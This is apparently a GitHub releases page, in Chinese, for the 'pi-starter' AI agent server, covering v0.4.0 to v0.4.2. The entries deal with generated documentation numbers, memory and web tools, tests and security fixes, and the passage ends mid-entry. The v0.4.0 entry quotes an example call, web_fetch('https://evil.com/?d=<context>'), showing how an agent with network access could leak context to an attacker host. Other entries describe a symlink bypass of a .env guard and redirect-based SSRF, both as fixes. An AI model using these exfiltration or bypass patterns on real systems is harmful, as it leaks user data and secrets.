Repository navigation
Releases: LPK3215/pi-starter
Release list
v0.4.2
Added
- 面向人的数字有了唯一来源(
scripts/visualization/metrics.mjs):文件数 / 行数 / 用例数 / 路由数 / 门禁列表 / 依赖版本 / 覆盖率阈值集中在一处,generate_readme_numbers.mjs与新的generate_overview.mjs都从它取。此前 README 表格、架构图、全景页各算各的,同一件事在三个地方有不同答案。配套scripts/coverage-thresholds.mjs:阈值原先只能写在scripts/coverage.mjs里,而那个文件顶层就 spawn 整个测试套件,谁import它谁跑一遍测试——所以阈值搬出来,两处(门禁与页面)读同一份。 - 全景页纳入漂移门禁(
scripts/visualization/generate_overview.mjs+docs:overview/docs:overview:check,已接进docs:check):docs/project_overview/原先整页手写,现在数值、src/顶层文件清单、docs/scripts/根目录清单、完整 REST 路由表、npm run verify门禁列表都由源码生成(标记区内),data-metric元素的文本同时被回写成同一个值,关掉 JS 与开着 JS 一致。四条断言:结构树与src/子目录双向对齐、每个docs/*.md都在文档索引里、每条真实路由必须落进且只落进一个分组、本地引用文件必须存在且外部链接一律 https。负向验证逐条做过:把/health改成/healthz同时报「路由不存在」与「/health 没归组」(退 2 且不写文件)、把memory/改成ghost/两个方向都红、../architecture.svg改成不存在的文件立刻红。 - 单图名片
docs/project_overview/project_card.html:800px 固定宽度的长图版项目概览,自带「Export as PNG」(html2canvas,CDN 走 https,scale: 2输出 1600×3876),导出时把按钮条摘掉,失败时明确提示改用系统截图而不是静默什么都不做。CSS/JS 全部内联、只用系统字体栈(CDN 字体在导出那一刻可能还没到位,出一张字距错位的图没人看得出来)。徽章、数字卡、许可行是generate_overview.mjs的生成区,与全景页同源,因此两份页面不可能报出不同的数;project_card.html还额外受「必须纯英文 + 引用必须存在」两条断言约束。实测:导出链路在浏览器里跑通(状态saved pi-starter_card_2026-10-10.png),并对生成的 canvas 做了像素级核对——架构图所在纵向区间内#22c55e8398 px、#38bdf85185 px、文字色#e6edf76692 px,说明内联 SVG 与文字确实进了图片而不是空白。 - 两份 README 的文档导航补上全景页这一行(此前
docs/project_overview/只在目录树里出现,读者不会知道它是docs/的入口页),并写明它的数值是生成的。目录树那行同时把 Pages 状态说清楚:本仓库当前未启用 GitHub Pages(实测https://lpk3215.github.io/pi-starter/与/project_overview/均 404),docs/index.html的重定向只是「经典模式从docs/发布」所需的目录结构,不是一条已经能打开的链接。
Fixed
-
docs:overview:check在远端红、本地绿(generate_overview.mjs,CNB 构建cnb-t41-1k4iphsec实测):清单取自git ls-files,而 git 默认core.quotePath=true会把非 ASCII 路径转义成"docs/\344\275\277...";开发机普遍把它关成 false,CI 容器不继承任何人的 gitconfig——于是中文文件名一进 CI 就与页面里的清单对不上,报的是「漂移」而不是「环境不同」。改为固定git -c core.quotePath=false ls-files -z(-z顺带解决带换行的文件名)。复现与验证:在一份全新克隆里把core.quotePath设回 true,旧代码立刻漂移、新代码 in sync。同时把漂移信息做成可诊断的——打印变了的METRICS键、变了的标记区、以及第一处不同的行;只说「drift」的门禁等于让人手工复现 CI。 -
「58 个 HTTP 路由处理器」里有 11 个不是路由(
generate_readme_numbers.mjs):计数用的是裸.get(正则,于是src/http/log-routes.ts里search.get("limit")这类 URLSearchParams 读取被一并算进去,标榜「可验证的数字」其实不可验证。口径改为只认app./router.上的方法,真数 47,标签同步写成HTTP route handlers (app. / router. methods);两份 README 的生成表已重算。 -
全景页整页手写到过期(
docs/project_overview/index.html):代码已是 v0.4.1,页面仍挂着release v0.2.0、308 cases · 37 files(实际 505 · 53)、17 项 WS 冒烟(实际 23);结构树缺conversation/与memory/两个目录;能力清单缺记忆、联网、HITL、会话导入等已上线的能力;API 表里/interrupt、/compact、/thinking、GET /model、/session、/session/edit、/session/rollback、/mcp/servers、/subagents/run、/approvals/:id这几条 REST 路由根本不存在(它们是 WS 命令或 SDK 工具)。现在版本、数值、路由、门禁都由生成器写,手写部分只保留说明文字;e2e断言数(48)与 WS 冒烟断言数(23)改为统计脚本里的check(调用点,不再手抄。 -
发版顺序让每个 tag 都带着过期的派生文档,并让
publish:local恒红(scripts/release.mjs):脚本的顺序是「跑门禁 → 回写版本号 → 打 tag → 推送」,而版本号是派生文档的输入——docs/architecture.svg里就印着它。于是回写之后 tag 里的生成物必然旧一格,紧接着npm run publish:local再跑一次门禁时就红在docs:check上(v0.4.1 现场复现:漂移:docs/architecture.svg,同一个 tag 出不了包)。现在回写之后立刻重算派生文档(docs:svg/docs:numbers/docs:reference/docs:overview,项目定义了才跑)、再跑一次docs:check兜底,并把它们一起收进 bump 提交;不一致时不打 tag,并打印「此时版本文件尚未提交,git checkout -- .回退」。另外补一条:回写后若工作区没有任何改动就直接失败——版本号已经是目标值,静默打个空 tag 更糟。
Changed
- 全套文档做了一次口径对齐(逐条对着源码与生成物复核,不是润色):
docs/能力与边界.md:基线从v0.3.0更正到v0.4.1;「60+ REST 路由」→ 47;npm run e2e的实测行从35 通过 / 1 跳过更正为43 通过 / 1 跳过 / 0 失败(共 44)(本轮实跑);删掉一条指向不存在文件的说明(「静态全景页可视化总览.html」,真实路径是docs/project_overview/,含project_card.html);docs/分工从「三篇活文档 + 其余历史稿」改为按「手写维护 / 生成 / 参考与历史稿」三类列全 10 篇。docs/使用指南.md:npm run verify的组成原写成「typecheck / lint / 覆盖率 / 换模型门禁」——覆盖率不在 verify 里(它是远端单独一步),「换模型门禁」这个脚本从来不存在,同时漏了docs:check、verify:audit、build、verify:embed。改为九项真门禁逐条列出,并补verify:all与test:coverage两行。docs/嵌入指南.md:接口清单漏了随包必挂的GET /providers、POST /model/cycle、GET /db/notes/:id,也没说清哪些路由是按装配情况挂载的(memory / files / approvals / provider-keys / logs / settings / capabilities)——嵌入方按「一定有」写客户端就会踩空;补全并指向生成的参考手册。WS 扩展点原写「commands/gate/sessionStats/connectionCount/approvalStats都能在 runtime 里传」,后三个其实是createApp()的选项(src/app.ts:71-75),runtime 里真正可选的是commands/gate/uiBridge/metrics(src/transport/ws.ts:58-76)——已按源码改正,并补上漏写的logQuery: { dir }(不开就没有/logs)。另修掉一段抄下去编译不过的示例:同一个块里const { app }声明了两次。CONTRIBUTING.md/FAQ.md/docs/能力与边界.md/docs/智能体视角评估.md:四处「两套远端门禁都跑在 node:24(Linux)容器」不成立——ci.yml是 ubuntu/windows/macos 三 OS 矩阵且本账号跑不起来,真正生效的只有.cnb.yml。统一改成准确表述,并把本轮新踩到的一侧写进去:本地绿 ≠ 远端绿(docs:overview:check远端红过一次而本地全绿,成因是 CI 不继承core.quotePath)。CONTRIBUTING 的项目地图把 HTTP 层写成只有src/app.ts,漏了src/http/六个路由模块与整条对话内核(conversation/→session-hub→snapshot/protocol→transport/ws),已补。docs/智能体视角评估.md:正文里以「现状」口吻出现的旧数就地改对——门禁链(376/11/39 → 505/19/44 并补docs:check)、498 通过 / 0 失败(漏了 7 例平台跳过,读起来像全绿)、覆盖率实测行(92.94/81.20/85.77 + 470 用例 → 本轮实测 92.90/81.51/86.30 + 505 用例)、棘轮阈值(92/79/84 与 88/77/82 → 现在住在scripts/coverage-thresholds.mjs的 92/81/85)、「57 个消息类型」(其实是 34 + 21 = 55)、§0 那句「没有任何联网能力、没有跨会话记忆」(与本文 §0.2 的 P7-1 / P7-2 自相矛盾,现标注为最初走查判断并指向更正行)。附录 A / B 保留原值——文首已有「不要再引用本文档的数字,以 README 的 Numbers 表为准」的显式声明,实测记录被改写成今天的数就失去了它的证据价值。docs/assistant-ui.md/docs/前端调研.md:两篇都自称「暂不实现 / 只调研」,而前端早已落地。各加一条状态说明(依赖位置、真正手写的两处web/src/pi/client.ts与usePiRuntime.ts、实际选型是 assistant-ui 而非文中推荐的pi-web-ui壳),研究正文保留不动。
- 全景页 e2e 那张卡的标签写准了:48 是
scripts/e2e-restart.mjs里的断言数(静态计数),每轮实际执行 44 项(43 通过 + 1 平台跳过),所以标签从「e2e assertions」改为「e2e assertions inscripts/e2e-restart.mjs」,避免被读成「跑了 48 项」。 - README 可视化与结构树对齐真实项目:两版 README 的
src/目录树此前只列 7 个子目录,实际有 19 个——memory/、conversation/、approval/、mcp/、modes/、subagents/等全部缺席,读者会以为那些能力不存在;现已补全(含errors.ts/sdk-adapter.ts/test-tmp.ts这类运行时底座),两版逐行对应。顶部那条指向 GitHub Actions 的 CI 徽章实测渲染成CI: failing,而本账号的 Actions 根本跑不起来(远端门禁是.cnb.yml)——红着的假状态比没有徽章更误导人,换成静态gates: CNB pipeline并链到实际跑门禁的仓库;.github/workflows/ci.yml那行注释补上它其实也跑docs:check与覆盖率门禁,并注明它当前不生效。三张 SVG 复核结论:文字节点零中文、数值全部运行时从源码读取、版本号已是v0.4.1,无需改动;docs/未启用 GitHub Pages(实测 404),因此不写任何 Pages 链接。 - 新增一条门禁断言,防目录树再次腐烂(
generate_reference.mjs):两份 README 的src/树必须与文件系统一致,漏列(能力隐身)与多列(指向已不存在的目录)两个方向都判失败。负向验证:从英文树里删掉memory/一行,检查立刻红并点名「漏了 1 个实际存在的目录:memory」;还原后恢复绿。
v0.4.1
Added
- 开源规范补齐:新增
CODE_OF_CONDUCT.md(Contributor Covenant 2.1,英文单版)与.github/dependabot.yml。dependabot 刻意不自动升@earendil-works/*三件套——它们钉版本是设计(升级必须走verify:all的完整门禁 + 人看 diff),并在文件里注明「GitHub Actions 本账号跑不起来,绿勾不等于远端跑过」。.gitattributes补:*.svg text eol=lf(架构图现在被docs:svg:check按字节比对,行尾被规范化会在一个系统上报假漂移)、hooks/pre-commit text eol=lf(CRLF 会打断 shebang)、web/package-lock.json与web/dist/**标linguist-generated、*.tgz binary。package.json的files增加README.zh-CN.md/CHANGELOG.md/AUTHORS(原来只发英文 README,中文主版和作者信息不在包里),description与keywords补齐现有能力面(记忆 / MCP / 计划模式 / 子代理 / RAG / 四入口)。 - 两份 README 的生成物指引改成脚本名:原先手写
node scripts/visualization/generate_architecture.mjs两行且漏了第三张图,现在统一npm run docs:svg/docs:numbers/docs:reference/docs:check,并说明「CI 挡的就是 docs:check 过期」。语言切换互链、章节数(29 = 29)与文档导航表两版对齐。 - FAQ 补 5 条:记忆存在哪、默认开还是关、和知识库的分工;默认不开联网工具是不是缺口(以及开了之后防什么、不防什么);
verify:audit的第三种结论「无法执行」为什么既不红也不绿;Windows 上那几例跳过是不是套件不健康;测试的临时目录现在由谁回收。 - CONTRIBUTING 补齐真实门禁:
npm run verify的组成此前只写了 7 步、漏了docs:check与verify:audit(这两步是本轮才进 verify 的);命令表补test:coverage/smoke/e2e/docs:*/probe:providers;新增「平台注记」讲清远端 Linux、本地 Windows 的不对称与三类跳过的成因;测试约定里写死两条:临时目录必须走tempDir()、平台不适用要t.skip(原因)(两条都是本轮修过的真实缺陷)。
Security
- 跨会话记忆落盘不再世界可读(
src/memory/store.ts):save()原先只有writeFileSync(tmp, …)+renameSync,于是文件按进程 umask 建成0o644——而记忆默认住在~/.pi/agent/,同一个目录里auth.json与 provider-keys 都坚持0600,向量库也坚持(注释里还写着原因)。存的是「关于用户的事实」,最小权限不写出来就是没写出来。现在目录0700、临时文件与目标文件都0600(临时文件同样含明文,窗口期更短更隐蔽,与 provider-keys 同一处理),Windows 尽力而为。回归:记忆文件权限收紧到 0600,不留世界可读(POSIX 专属,Windows 显式跳过并打印原因)。SECURITY.md增补该文件的位置、权限与/memory未鉴权这一层。 SECURITY.md的会话表述改为准确:原句「One process holds one agent session, and concurrent/chatcalls return 429」在 REST 侧成立、在 WS 侧不成立(每连接多对话,cap 8 + LRU),容易让人以为整个进程只有一个对话。
Changed
- 三张架构图纳入漂移门禁(
docs:svg:check接进npm run docs:check):generate_architecture.mjs/generate_request_flow.mjs/generate_retrieval.mjs原先只有「跑一次就新鲜一次」,没有任何东西保证它被跑过——README 上的架构图实际漂移过一次:图里写着Contract smoke tests: 49 files · 470 cases,源码已经是53 files · 504 cases。图里的数字比手写文档更危险,因为它看起来是机器生成的、于是不受怀疑。三个生成器现在都支持--check(与 README 数字、参考手册同一口径:一致退 0 / 漂移退 1 并指名怎么重生成)。负向验证:往docs/architecture.svg末尾追加一个空格,--check立刻退 1;重生成后回到退 0。同时刷新docs/architecture.svg到当前实况(另两张本来就一致)。
v0.4.0
Added
-
跨会话记忆(默认开,
PI_MEMORY=off关):新增src/memory/store.ts与remember/recall两个工具,补齐docs/智能体视角评估.md里被点名的「最后两块砖」之一——此前每次新对话都从零开始,「记住我」不可能。落盘成 JSONL(默认~/.pi/agent/pi-starter-memory.jsonl,原子写:先写同目录临时文件再 rename,与settings.ts同一口径),重启后仍在。- 有界:单条正文 4KB、标签 16 个 × 48 字符、总量 2000 条(超出淘汰最旧的并如实回报条数)、文件 4MB 封顶。无界记忆等于把上下文窗口交给时间。
- 写的是「跨会话有用」的信息:同一段正文重复写入是覆盖而不是新增(模型重复「记住」是常态);
rules.md明确写了该记什么、不该记什么。与知识库刻意分开——知识库只读、进系统提示词目录;记忆可写、不进提示词正文、按需recall。 - 可注入 / 可关:
buildAgent({ memory })换实现、buildAgent({ memory: false })关闭(两个工具都不注册,能力目录里也不会出现);PI_MEMORY只有明确off/false/0才算关(与PI_WEB的取值风格一致)。GET/POST/DELETE /memory把同一份 store 暴露成 REST,与工具同源。 - 落盘损坏行 / 读失败只告警回落,不让一次对话崩掉——与
settings.ts「配置坏了要能改回来」同一原则。
-
联网能力(可选,默认关):新增
src/tools/web.ts的web_fetch/web_search,由PI_WEB=on(或buildAgent({ web: true, webClient }))开启。补齐了「rules.md要求一切外部事实必须工具核实,但默认装配里根本没有联网工具」这个能力缺口。默认关闭的理由与coding档一致且更直接:出站网络是数据外泄通道(web_fetch("https://evil.com/?d=<上下文内容>")),而本服务默认无鉴权。- 后端可注入:
WebClient接口(fetchPage+ 可选search),换搜索源 / 加缓存 / 加审计只改实现,工具契约与模型侧不变;lib.ts已导出类型。 - SSRF 防护:只放行 http/https,拒绝回环 / 私有 / 链路本地 / 组播 / CGNAT / IPv4 映射地址,并检查 DNS 解析结果与重定向后的最终地址(
::ffff:127.0.0.1会被new URL()归一化成::ffff:7f00:1,十六进制写法同样覆盖)。isPrivateAddress认不出的输入按私有处理(fail-closed)。 - 限额:字节上限(默认 256KB,硬顶 2MB)与超时(默认 15s,硬顶 60s)都夹取,模型无法用参数顶掉;超限是边读边停,不把整页拉进内存。
- 不假装能搜:后端没有
search()时不注册web_search(与rag:smoke打印 SKIP 同一原则);默认的 DuckDuckGo 无 JS 版解析是 best-effort,抽不到就如实说「没有命中」。 - 能力标签
net→inferRisk判medium;与exec同口径不进allTools,开了才登记进ToolRegistry。SECURITY.md/.env.example/ 两份 README 都已注明「未被缓解的部分」(URL 由模型决定,DNS 解析与建连之间存在 TOCTOU 窗口)。
- 后端可注入:
-
setup.ts与资源路由的测试(49 个测试文件 / 467 用例,覆盖率 92.53% → 92.66%):setup.test.ts扩充 6 例(setup.ts82% → 86.65%):ensureEnvFile的三条路径(无.env时复制并 0600、已有.env不覆盖、两者都缺则明确报错)、多 provider 时没找到密钥的只进authKeyMissing且不落盘而默认 provider 缺密钥才致命、PI_API_KEY_<PROVIDER>优先且名字里的-换算成_、auth.json0600 / agent 目录 0700 的权限。其中复制.env那条测试用withEnvSnapshot包住(setupPiAgentDir会loadEnvFile()写process.env,不还原会污染同进程其它用例)。app.test.ts扩充 5 例(http/routes.ts88% → 89.3%):/skills列表不带正文而详情读磁盘正文、SKILL.md读不出来时响应里不能出现绝对路径、/knowledge列表/搜索/详情的路由顺序(/knowledge/search不能被:name抢走)、/prompt-templates的argumentHint只在有值时才出现、以及依赖全挂时 liveness 仍 200 而 readiness 变 503 并逐项给原因。
-
进程执行的工具层测试(
src/tools/exec.test.ts,13 例,exec.ts79% → 100%):src/exec/runner.ts有测试,但工具层完全没有 —— 也就是「参数怎么翻译成 runner 调用」与「结果怎么呈现给模型」这两段从未被执行过,而它们恰好是模型直接看到的部分。覆盖:只有 coding 档且给了环境才装配(off/readonly/ 缺环境一律空)、exec_jobs的能力必须是手写的shell.observe(按名字推断会推错)、非零退出与超时必须标成isError、后台任务立即返回 id 并提示下一步用哪个工具、输出截断必须说出来、非法timeout_seconds在调用 runner 之前就被拦下(断言runs.length === 0)、AbortSignal原样透传、超长命令在列表里截断而不是撑爆一行。 -
联网抓取的真实路径测试(
web.test.ts11 → 23 例,web.ts77% → 92.95%):此前只测了假后端,fetchPage里的字节上限、重定向、超时、content-type 判定全都没被真实执行过。现在起本地 HTTP 服务跑真实抓取,覆盖:HTML 转纯文本 / JSON 不被拍平、正文恰好等于上限时truncated=false、超限截断、404 与image/png翻成可读WebError、正常跟随重定向且每一跳都过策略、302 到被禁主机时请求不发出、超过MAX_REDIRECTS即停、超时翻成timeout、注入放行策略后非 http/https 仍被拒、重定向目标是非法 URL 时报错而不是崩在new URL。 -
WS 分派层的畸形输入测试(
integration.test.ts,ws.ts76% → 83.42%):这一层此前只有跨进程的npm run smoke覆盖(那些覆盖率不进npm test统计),而它最容易「一个坏输入打死整条连接」。覆盖:prompt带data:前缀 / 非白名单 MIME / 超过 4 张图片、set_label·edit_message·rollback_conversation缺entryId、rename_conversation缺title、打开或删除不存在的会话、非法思考档位、未知命令名(走「未注册命令」分支并带提示,而不是静默丢弃)、空串与纯空白type在协议层被拒 —— 以及一连串畸形输入之后ping仍必须得到pong。 -
五个「未覆盖即未验证」模块的测试(本轮第二批,49 个测试文件 / 456 用例,覆盖率 90.45% → 92.53%):
src/prompt-images.test.ts(6 例,44% → 100%):parsePromptImages是prompt/steer/follow_up三条 WS 命令共用的唯一入口校验,此前只被间接带到 —— 等于「模型收到一张损坏的图」这条路径从未验证过。覆盖 MIME 白名单(image/svg+xml拒收)、data:前缀、非法 base64、正则过得了但解码为 0 字节(单字符"a")与恰好等于上限的边界。src/extensions/audit.test.ts(6 例,56% → 100%):这个扩展的价值全在「记什么、不记什么」上。核心断言是日志里绝不能出现参数值(含sk-密钥与 SQL 原文),只记字段名;以及失败的调用走warn、logArgKeys=false时连字段名都不记、超出 256 条进行中调用时最早的被淘汰。src/tools/ask-user-question.test.ts(5 例,56% → 100%):HITL 工具出错不是「答得不对」而是「整轮卡死」或「悄悄跳过」。覆盖无 UI 时绝不假装等待且不调用任何 ui 方法、AbortSignal必须透传(否则桥那头无法取消)、confirm选「否」与取消一样算未作答。src/tools/resource.test.ts扩充(7 例,knowledge.ts71% → 100%、database.ts73% → 98.7%):search_knowledge的 limit 夹取[1, 50](100000/0/ 负数 /NaN/ 非数字字符串 / 缺省六种输入)、未知文档名要列出可用项、db_query的非只读 SQL 必须在落到database.query之前被拒(断言called === 0)、查询抛错翻成「查询失败:…」、被截断时必须显式告知真实总行数并给出可执行下一步。src/http/approval-routes.test.ts扩充(4 例,71% → 100%):GET的 builtin 标记与userCount、PUT整体替换的四条拒绝路径(非数组 / 超MAX_USER_RULES/ 含内置 / 单条非法)且被拒时不落地、达到上限后「新增」被拒但同 id 覆盖仍可用、手改rules.json塞builtin: true也删不掉。src/tools/current-time.test.ts(4 例,70.59% → 100%):见上一条Fixed。
-
文件服务路由层测试(
src/http/file-routes.test.ts,9 例):file-routes.ts此前覆盖率 43.24%(全项目最低之一)而没有任何测试,可它正是把工作目录暴露成 HTTP 的那一层。覆盖:未提供FileService时/files/*完全不注册、requirePath的 fail-closed(缺/空白 path = 400,不悄悄退回根目录)、敏感文件在 read / raw / 列表预览 三个出口都被拦且不回显内容、recursive必须是布尔true(字符串"true"不算数)、Range 语义(206 /bytes=-N后缀区间 / 416 +Content-Range: bytes */size/ 无 Range 超限 413 /download=true/ 二进制扩展名给 octet-stream)、上传的字节级往返(历史 bug 是write+toString("utf8")损坏非 UTF-8 字节)。
覆盖率 43.24% → 100%,全项目 89.80% → 90.45%(棘轮阈值随之抬到 lines 90 / branches 79 / functions 83)。
同时把「上传上限是两层叠加」这件事写进了代码注释与测试:/files/upload的 5MB 是第二层,默认 JSON body 上限1mb会先挡一道(base64 还放大 4/3),所以默认配置下原始字节刚过 1MB 就被 413,那个 5MB 检查不可达;只有把bodyLimit提到约 7mb 以上它才生效。 -
参考手册(从源码生成):新增
docs/参考手册.md+scripts/visualization/generate_reference.mjs,把「能力面」整个算出来:34 条 WS 客户端命令与 21 个服务端帧(按分组 + JSDoc 摘要)、60+ REST 路由处理器、工具清单(装配档位 + 能力标签 + 风险)、全部 58 个环境变量、全部 npm 脚本、模块地图。此前 WS 协议有 57 个消息类型却没有任何参考文档,REST 有 60+ 路由而 README 只列了 4 个,22 个环境变量在两份 README 里一个字都没有。
生成过程自带一致性断言(不通过即非零退出):解析出的客户端命令集合必须与protocol.ts里带编译期守卫的CLIENT_MESSAGE_TYPES完全一致(拿编译期保证校验解析器本身);src/tools/*里的每个工具名必须在生成器的分组表里被登记,新增工具忘了归类会直接让门禁红;代码引用的PI_*必须都在.env.example登记过。npm run docs:check已进verify与两套 CI。
刻意没做:给协议命令强制要求 JSDoc。当前说明覆盖率是客户端 4/34、服务端 7/21,手册如实印出覆盖率,但不设成门禁——逼出来的空说明比没有说明更糟。 -
README 的可验证数字改为生成:新增
scripts/visualization/generate_readme_numbers.mjs,把文件数 / 行数 / 用例数 / 路由数从源码算出来写进<!-- BEGIN:generated-numbers -->标记块,npm run docs:numbers:check已进verify链与两套 CI。此前同一份 README 里42 test files · 376 cases与# 376 unit + integration tests对着不同的数字。
Security
guard的敏感文件拦截只查字面名,可被工作区内的符号链接绕过:isDeniedName(basename(targetPath))只看字面 basename,而 cwd 内一个alias.txt -> .env的链接——字面名不命中名单、路径也确实在 cwd 内——上面两道校验都会放行,读出来的内容就是.env。文件服务那边(files/service.ts的resolvePath)在 0.3.0 就补了「真实目标名也要查」这一层,guard这个负责拦模型自身read/write/edit的旁路此前漏了,等于同一道门只关了一半(而read在任何档位都可用)。现补上同样的真实目标名校验(只在目标存在时解析,避免把父目录名误当成目标名),并加回归用例:绝对/相对目标的链接、指向id_rsa的链接、sub/../alias.txt形式全部拦下,指向普通文件的链接不误伤。SECURITY.md同步说明「两道门都查真实目标名」。- Linux / macOS 的
exec主执行路径不再继承PI_API_KEY(P1-2 漏网之鱼):src/exec/runner.ts的/bin/sh分支此前直接传process.env,而src/child-env.ts的模块说明声称「凡是 spawn 子进程的地方都从这里取 env」——它恰好是唯一没兑现的地方,也是主平台。现改为childProcessEnv(),并修正同文件taskkill分支里那句「凡 spawn 口径一致」的注释。新增src/exec/runner.test.ts用例锁定:子进程读不到PI_API_KEY/PI_API_KEY_<PROVIDER>,但PATH等必须保留(否则 shell 与外部工具跑不起来)。
Fixed
npm run setup复制出来的.env是 0644(世界可读),而它正是要填 API Key 的文件:ensureEnvFile用copyFileSync(.env.example, .env),而copyFileSync会把源文件的权限位一并带过来(实测:源 644 → 副本 644)。本项目对auth.json(0600)、向量库(0600)、provider-keys(0600)都坚持最小权限,.env不该例外。现在复制后显式chmod 0600(Windows 上尽力而为,与writeJsonFile同一口径),并加回归用例断言权限位。- 联网抓取的重定向会在校验之前就把请求打到下一跳(
web_fetch的 SSRF 面):原实现用fetch(..., { redirect: "follow" }),等响应回来才检查response.url—— 也就是302到10.0.0.1时请求已经发出去了,事后检查只能阻止「把内容读回来」,挡不住「内网端点被触发」(对带副作用的 GET 就是真实影响)。现在改为redirect: "manual"自己跟,每一跳都在发请求之前过一遍 host 策略,共用一个超时,并用MAX_REDIRECTS = 5封顶。新增回归用例:公网点302到被禁主机时,被禁主机收到 0 个请求。 readCapped的差一错误:正文恰好等于上限时误报「已截断」:判断写的是total + value.length >= maxBytes,于是长度正好等于上限的正文被标成truncated: true—— 一个字都没丢,工具却对模型说「正文已按上限截断」。改成>,并加回归用例。urlGuard可注入:HttpWebClient新增urlGuard?: UrlGuard(默认assertPublicHost),内网部署 / 走自有出口代理时可替换。协议校验(只允许 http/https)刻意不经过它,所以换 host 策略也换不掉这一条 —— 有对应用例锁定。current_time在模型写UTC+8/GMT+8时直接抛RangeError:toLocaleString只认 IANA 时区名,而这两种恰好是模型最可能写出来的写法(实测RangeError: Invalid time zone specified: UTC+8)。工具此前没有任何测试、execute从未被执行过,所以一直没暴露。现改为如实说明并给出可用写法(含「东八区应写Etc/GMT-8,符号是反的」这个最容易踩的点),details.ok=false以便调用方区分。/files/copy复制目录必然 500(FileService.copy):代码校验完recursive之后仍然无条件调copyFileSync,而它对目录直接抛EISDIR—— 于是「传recursive: true去复制目录」100% 失败成 500,且即使不抛也只会留下一个空壳。改用cpSync(..., { recursive: true }),并把复制失败翻译成AppError而不是裸抛。- 给目录改名会「先改盘、再报错」(
FileService.rename):renameSync成功之后无条件this.read(toRel),而read只读文件,于是目录重命名永远在磁盘已经变了之后返回 400 —— 客户端看到失败、实际已生效,比单纯失败更难查。现按目标类型返回目录描述。 Range: bytes=-N后缀区间永远返回 416(/files/raw):把后缀长度当成了结束下标,start(=size-N) > end(=N)恒成立。播放器从尾部 seek 全废。现按规范分开处理后缀区间与普通区间(bytes=-0仍判 416,符合 RFC)。FileService的maxPreviewBytes对/files/raw无效:路由读的是模块常量DEFAULT_MAX_PREVIEW_BYTES而不是 service 的配置,于是这个配置项只影响/files/read。现读service.maxPreviewBytes(字段改为公开只读)。
上面四条都是写
src/http/file-routes.test.ts时当场发现的 —— 路由层此前没有任何测试,而它正是把工作目录暴露成 HTTP 服务的那一层。
generate_readme_numbers.mjs的前端用例数写死了单个文件:它只数web/src/pi/client.test.ts,于是加了logClient.test.ts之后 README 里仍然报 11(实际 19)。现改为从package.json的test:web脚本读文件清单。这类「与文件一致地错」的漂移docs:numbers:check是抓不到的(它只能发现「文件里写的和算出来的不一致」),所以口径本身必须来自脚本,不能写成常量。- 快照周期内不再重复取会话统计(P2-1):
getSessionStats()在 SDK 里是sessionManager.getEntries()—— 每...